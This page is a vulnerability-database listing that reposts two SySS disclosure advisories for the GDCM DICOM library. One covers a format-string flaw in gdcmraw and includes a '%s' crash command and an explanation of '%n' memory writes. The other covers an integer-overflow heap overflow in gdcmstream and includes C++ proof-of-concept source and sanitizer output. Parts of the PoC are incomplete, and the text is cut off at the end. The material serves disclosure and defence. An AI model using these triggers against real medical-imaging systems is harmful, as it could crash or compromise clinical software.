Search
Find a vulnerability
Search criteria
5 vulnerabilities found for GDCM (Grassroots DICOM) by unknown
GCVE-1988-2026-0438
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-071]: GDCM (Grassroots DICOM) - Format String (CWE-134)
Summary
Advisory ID: SYSS-2026-071
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Format String (CWE-134)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The gdcmFilenameGenerator component, used by the gdcmraw command-line tool
to generate output filenames for split fragments, is vulnerable to a
format string vulnerability. The user-supplied pattern string is used
directly as the format string argument to snprintf() without proper
validation of the format specifiers. Only the count of % characters is
checked (exactly one required), but the specifier that follows is not
validated.
An attacker can supply format specifiers such as "%n" to write to arbitrary
memory addresses, or "%s" to dereference small integers as pointers,
causing crashes. Positional parameters like "%5$x" can be used to leak
stack data into generated filenames, enabling information disclosure.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The vulnerable code is in the FilenameGenerator::Generate() function at
Source/Common/gdcmFilenameGenerator.cxx:94:
int res = snprintf( internal, internal_len, Pattern.c_str(), i );
The Pattern string is set by the user via FilenameGenerator::SetPattern().
In the gdcmraw command-line tool, the pattern comes directly from the
- -p/--pattern command-line argument:
// gdcmraw.cxx:150
pattern = optarg; // user-controlled!
// gdcmraw.cxx:353
fg.SetPattern( pattern.c_str() );
The validation in Generate() only counts % characters and requires
exactly one but does NOT validate what format specifier follows:
const char *pattern = Pattern.c_str();
int num_percent = 0;
while( (pattern = strchr( pattern, '%')) )
{
++pattern;
++num_percent;
}
if ( num_percent != 1 )
{
gdcmDebugMacro( "No more than one % in string formatting please" );
return false;
}
This means patterns like "%s", "%x", "%5$x", and "%n" all pass validation:
- "%s" : treats the loop index i as a char* pointer and attempts to
dereference it, causing a segmentation fault (information
disclosure if the dereferenced memory contains readable data)
- "%x" : reads the loop index value as hex and embeds it in the filename
- "%5$x": positional parameter that skips past the provided argument
to the 5th variadic argument on the stack, leaking arbitrary
stack data into the generated filename (information disclosure)
- "%n" : interprets the loop index i as an int* and writes the number
of bytes written so far to that address, enabling arbitrary
memory writes and potential remote code execution
The loop index i is of type SizeType (unsigned long / size_t). When
interpreted as a pointer, small index values (0, 1, 2, ...) point to
invalid memory addresses, causing immediate segmentation faults. The
"%n" specifier is particularly dangerous as it enables write-what-where
attacks if the attacker can control the stack layout.
The exploitability of the vulnerable code with the different shown
options depends on on the used compiler settings, for example glibc's
FORTIFY_SOURCE.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
Using the format specifier "%s" in combination with a multi-fragment
DICOM file leads to a segmentation fault as the loop index gets interpreted
as char* pointer. When the loop counter is 1, snprintft() attempts to
read from address 0x1.
gdcmraw -i multifrag.dcm -o output_ --split-frags -p '%s'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-071
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-071\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Format String (CWE-134)\nRisk Level: Medium\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmFilenameGenerator component, used by the gdcmraw command-line tool\nto generate output filenames for split fragments, is vulnerable to a\nformat string vulnerability. The user-supplied pattern string is used\ndirectly as the format string argument to snprintf() without proper\nvalidation of the format specifiers. Only the count of % characters is\nchecked (exactly one required), but the specifier that follows is not\nvalidated.\n\nAn attacker can supply format specifiers such as \"%n\" to write to arbitrary\nmemory addresses, or \"%s\" to dereference small integers as pointers,\ncausing crashes. Positional parameters like \"%5$x\" can be used to leak\nstack data into generated filenames, enabling information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the FilenameGenerator::Generate() function at\nSource/Common/gdcmFilenameGenerator.cxx:94:\n\n int res = snprintf( internal, internal_len, Pattern.c_str(), i );\n\nThe Pattern string is set by the user via FilenameGenerator::SetPattern().\nIn the gdcmraw command-line tool, the pattern comes directly from the\n- -p/--pattern command-line argument:\n\n // gdcmraw.cxx:150\n pattern = optarg; // user-controlled!\n // gdcmraw.cxx:353\n fg.SetPattern( pattern.c_str() );\n\nThe validation in Generate() only counts % characters and requires\nexactly one but does NOT validate what format specifier follows:\n\n const char *pattern = Pattern.c_str();\n int num_percent = 0;\n while( (pattern = strchr( pattern, \u0027%\u0027)) )\n {\n ++pattern;\n ++num_percent;\n }\n if ( num_percent != 1 )\n {\n gdcmDebugMacro( \"No more than one % in string formatting please\" );\n return false;\n }\n\nThis means patterns like \"%s\", \"%x\", \"%5$x\", and \"%n\" all pass validation:\n\n - \"%s\" : treats the loop index i as a char* pointer and attempts to\n dereference it, causing a segmentation fault (information\n disclosure if the dereferenced memory contains readable data)\n - \"%x\" : reads the loop index value as hex and embeds it in the filename\n - \"%5$x\": positional parameter that skips past the provided argument\n to the 5th variadic argument on the stack, leaking arbitrary\n stack data into the generated filename (information disclosure)\n - \"%n\" : interprets the loop index i as an int* and writes the number\n of bytes written so far to that address, enabling arbitrary\n memory writes and potential remote code execution\n\nThe loop index i is of type SizeType (unsigned long / size_t). When\ninterpreted as a pointer, small index values (0, 1, 2, ...) point to\ninvalid memory addresses, causing immediate segmentation faults. The\n\"%n\" specifier is particularly dangerous as it enables write-what-where\nattacks if the attacker can control the stack layout.\n\nThe exploitability of the vulnerable code with the different shown\noptions depends on on the used compiler settings, for example glibc\u0027s\nFORTIFY_SOURCE.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the format specifier \"%s\" in combination with a multi-fragment\nDICOM file leads to a segmentation fault as the loop index gets interpreted\nas char* pointer. When the loop counter is 1, snprintft() attempts to\nread from address 0x1.\n\ngdcmraw -i multifrag.dcm -o output_ --split-frags -p \u0027%s\u0027\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-071\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-134",
"description": "CWE-134",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:34Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/87"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/87"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-071]: GDCM (Grassroots DICOM) - Format String (CWE-134)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0438",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87",
"automated": true,
"contentSha256": "90c70433a3314393c67116213041c17b14b3ce8295b1d13c8e081ac5dca3a95e",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/87",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:34Z",
"dateUpdated": "2026-10-02T04:57:34Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0438"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0437
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)
Summary
Advisory ID: SYSS-2026-070
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Integer Overflow (CWE-190)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The gdcmstream command-line tool, used for stream-based reading and writing
of DICOM images, is vulnerable to an integer overflow that leads to a heap
buffer overflow.
When processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes
the embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the
raw pixel data. The buffer size is computed using 32-bit integer arithmetic
the product exceeds 2^32, the result silently wraps around, causing an
undersized buffer allocation. The subsequent pixel data write loop then
overflows the heap buffer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The vulnerable code is in the Write_Resolution function at
Applications/Cxx/gdcmstream.cxx:246-271:
int Dimensions[2];
{
int compno = 0;
opj_image_comp_t *comp = &image->comps[compno];
Dimensions[0]= comp->w;
Dimensions[1] = comp->h;
}
unsigned long rawlen = Dimensions[0]*Dimensions[1] * image->numcomps;
char *raw = new char[rawlen];
for (unsigned int compno = 0; compno < (unsigned int)image->numcomps;
compno++)
{
const opj_image_comp_t *comp = &image->comps[compno];
int w = comp->w;
int h = comp->h;
uint8_t *data8 = (uint8_t*)raw + compno;
for (int i = 0; i < w * h; i++)
{
int v = image->comps[compno].data[i];
*data8 = (uint8_t)v;
data8 += image->numcomps;
}
}
The variables Dimensions[0] and Dimensions[1] are both 'int' (32-bit signed)
values converted from the OpenJPEG component structure's 'w' and 'h' fields,
which are OPJ_UINT32 (uint32_t). The variable image->numcomps is also
OPJ_UINT32 (uint32_t).
The multiplication Dimensions[0]*Dimensions[1] is performed in 'int' (32-bit
signed) arithmetic. The result is then multiplied by image->numcomps
(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int
and an unsigned int are multiplied, the signed int is converted to unsigned
int, and the multiplication is performed in 32-bit unsigned integer
arithmetic. The result is only widened to 'unsigned long' (64-bit) on
assignment to 'rawlen', after the overflow has already occurred.
When the product exceeds 2^32, it wraps around modulo 2^32, producing a
value much smaller than the actual amount of pixel data. The subsequent
write loop then writes w*h pixels for each component, each advancing the
write pointer by numcomps bytes, overflowing the undersized buffer on the
heap.
The JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz
(image dimensions), so values exceeding 65535 (the maximum representable in
the DICOM US VR used for Rows and Columns) are valid in a JPEG2000
codestream. This means a malicious JPEG2000 codestream embedded in a DICOM
file can set component dimensions that trigger the integer overflow without
needing to violate DICOM header constraints.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that uses the vulnerable code from Write_Resolution()
in gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow
detected by AddressSanitizer.
The PoC constructs a real opj_image_t structure with crafted parameters:
- numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)
- Component 0: w = 65538, h = 1
- Components 1..65534: w = 0, h = 0 (inner loop does not execute)
Overflow calculation:
Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538
(computed as 'int', fits within INT_MAX, no signed overflow)
Step 2: 65538 * 65535 = 4,295,032,830
(computed as uint32_t due to OPJ_UINT32 numcomps)
uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534
Buffer allocated (rawlen): 65,534 bytes
Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes
(~4.00 GB)
*** Buffer too small by 4,294,967,296 bytes ***
Loop execution:
i=0: write at raw[0] — inside buffer (OK)
i=1: write at raw[65535] — OUTSIDE 65,534-byte buffer!
PoC source code:
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <openjpeg.h>
/* Verbatim vulnerable code from gdcmstream.cxx:246-271 */
static void trigger_vuln_13(opj_image_t *image)
{
int Dimensions[2];
{
int compno = 0;
opj_image_comp_t *comp = &image->comps[compno];
Dimensions[0] = comp->w;
Dimensions[1] = comp->h;
}
unsigned long rawlen =
Dimensions[0] * Dimensions[1] * image->numcomps;
char *raw = new char[rawlen];
for (unsigned int compno = 0;
compno < (unsigned int)image->numcomps; compno++)
{
const opj_image_comp_t *comp = &image->comps[compno];
int w = comp->w;
int h = comp->h;
uint8_t *data8 = (uint8_t *)raw + compno;
for (int i = 0; i < w * h; i++)
{
int v = image->comps[compno].data[i];
*data8 = (uint8_t)v;
data8 += image->numcomps;
}
}
delete[] raw;
}
int main()
{
/* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */
trigger_vuln(&image);
return 0;
}
To build and run the PoC:
g++ -fsanitize=address -fno-omit-frame-pointer -g \
-I/usr/include/openjpeg-2.5 \
pocs/poc.cpp -o poc
$ ./poc
=== PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===
...
--- Triggering vulnerable code (gdcmstream.cxx:246-271) ---
Calling trigger_vuln(image)...
=================================================================
==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0
sp 0x7ffcb697e7d0
WRITE of size 1 at 0x7e95d48047ff thread T0
#0 0x56007861f679 in trigger_vuln
pocs/poc13_vuln13_real.cpp:122
#1 0x56007861ff4c in main
pocs/poc13_vuln13_real.cpp:234
0x7e95d48047ff is located 1 bytes after 65534-byte region
[0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:
#0 0x7f85d5f2d431 in operator new[](unsigned long)
#1 0x56007861f46d in trigger_vuln
pocs/poc13_vuln13_real.cpp:110
SUMMARY: AddressSanitizer: heap-buffer-overflow
pocs/poc13_vuln13_real.cpp:122 in trigger_vuln
==10171==ABORTING
The AddressSanitizer output confirms:
- Buffer allocated: 65,534 bytes (as predicted by the overflow)
- Write at offset 65,535 (1 byte past the buffer end)
- Detected as heap-buffer-overflow at line 122 (the
*data8 = (uint8_t)v; write)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-070
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-070\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Integer Overflow (CWE-190)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmstream command-line tool, used for stream-based reading and writing\nof DICOM images, is vulnerable to an integer overflow that leads to a heap\nbuffer overflow.\n\nWhen processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes\nthe embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the\nraw pixel data. The buffer size is computed using 32-bit integer arithmetic\n\nthe product exceeds 2^32, the result silently wraps around, causing an\nundersized buffer allocation. The subsequent pixel data write loop then\noverflows the heap buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the Write_Resolution function at\nApplications/Cxx/gdcmstream.cxx:246-271:\n\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n Dimensions[0]= comp-\u003ew;\n Dimensions[1] = comp-\u003eh;\n }\n unsigned long rawlen = Dimensions[0]*Dimensions[1] * image-\u003enumcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0; compno \u003c (unsigned int)image-\u003enumcomps;\n compno++)\n {\n const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n int w = comp-\u003ew;\n int h = comp-\u003eh;\n uint8_t *data8 = (uint8_t*)raw + compno;\n for (int i = 0; i \u003c w * h; i++)\n {\n int v = image-\u003ecomps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image-\u003enumcomps;\n }\n }\n\nThe variables Dimensions[0] and Dimensions[1] are both \u0027int\u0027 (32-bit signed)\nvalues converted from the OpenJPEG component structure\u0027s \u0027w\u0027 and \u0027h\u0027 fields,\nwhich are OPJ_UINT32 (uint32_t). The variable image-\u003enumcomps is also\nOPJ_UINT32 (uint32_t).\n\nThe multiplication Dimensions[0]*Dimensions[1] is performed in \u0027int\u0027 (32-bit\nsigned) arithmetic. The result is then multiplied by image-\u003enumcomps\n(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int\nand an unsigned int are multiplied, the signed int is converted to unsigned\nint, and the multiplication is performed in 32-bit unsigned integer\narithmetic. The result is only widened to \u0027unsigned long\u0027 (64-bit) on\nassignment to \u0027rawlen\u0027, after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32, producing a\nvalue much smaller than the actual amount of pixel data. The subsequent\nwrite loop then writes w*h pixels for each component, each advancing the\nwrite pointer by numcomps bytes, overflowing the undersized buffer on the\nheap.\n\nThe JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz\n(image dimensions), so values exceeding 65535 (the maximum representable in\nthe DICOM US VR used for Rows and Columns) are valid in a JPEG2000\ncodestream. This means a malicious JPEG2000 codestream embedded in a DICOM\nfile can set component dimensions that trigger the integer overflow without\nneeding to violate DICOM header constraints.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that uses the vulnerable code from Write_Resolution()\nin gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow\ndetected by AddressSanitizer.\n\nThe PoC constructs a real opj_image_t structure with crafted parameters:\n - numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)\n - Component 0: w = 65538, h = 1\n - Components 1..65534: w = 0, h = 0 (inner loop does not execute)\n\nOverflow calculation:\n Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538\n (computed as \u0027int\u0027, fits within INT_MAX, no signed overflow)\n Step 2: 65538 * 65535 = 4,295,032,830\n (computed as uint32_t due to OPJ_UINT32 numcomps)\n uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534\n Buffer allocated (rawlen): 65,534 bytes\n Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes\n (~4.00 GB)\n *** Buffer too small by 4,294,967,296 bytes ***\n\n Loop execution:\n i=0: write at raw[0] \u2014 inside buffer (OK)\n i=1: write at raw[65535] \u2014 OUTSIDE 65,534-byte buffer!\n\nPoC source code:\n\n #include \u003ccstdint\u003e\n #include \u003ccstdio\u003e\n #include \u003ccstdlib\u003e\n #include \u003ccstring\u003e\n #include \u003copenjpeg.h\u003e\n\n /* Verbatim vulnerable code from gdcmstream.cxx:246-271 */\n static void trigger_vuln_13(opj_image_t *image)\n {\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n Dimensions[0] = comp-\u003ew;\n Dimensions[1] = comp-\u003eh;\n }\n unsigned long rawlen =\n Dimensions[0] * Dimensions[1] * image-\u003enumcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0;\n compno \u003c (unsigned int)image-\u003enumcomps; compno++)\n {\n const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n int w = comp-\u003ew;\n int h = comp-\u003eh;\n uint8_t *data8 = (uint8_t *)raw + compno;\n for (int i = 0; i \u003c w * h; i++)\n {\n int v = image-\u003ecomps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image-\u003enumcomps;\n }\n }\n delete[] raw;\n }\n\n int main()\n {\n /* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */\n trigger_vuln(\u0026image);\n return 0;\n }\n\nTo build and run the PoC:\n\n g++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -I/usr/include/openjpeg-2.5 \\\n pocs/poc.cpp -o poc\n\n $ ./poc\n === PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===\n ...\n --- Triggering vulnerable code (gdcmstream.cxx:246-271) ---\n Calling trigger_vuln(image)...\n\n =================================================================\n ==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address\n 0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0\n sp 0x7ffcb697e7d0\n WRITE of size 1 at 0x7e95d48047ff thread T0\n #0 0x56007861f679 in trigger_vuln\n pocs/poc13_vuln13_real.cpp:122\n #1 0x56007861ff4c in main\n pocs/poc13_vuln13_real.cpp:234\n 0x7e95d48047ff is located 1 bytes after 65534-byte region\n 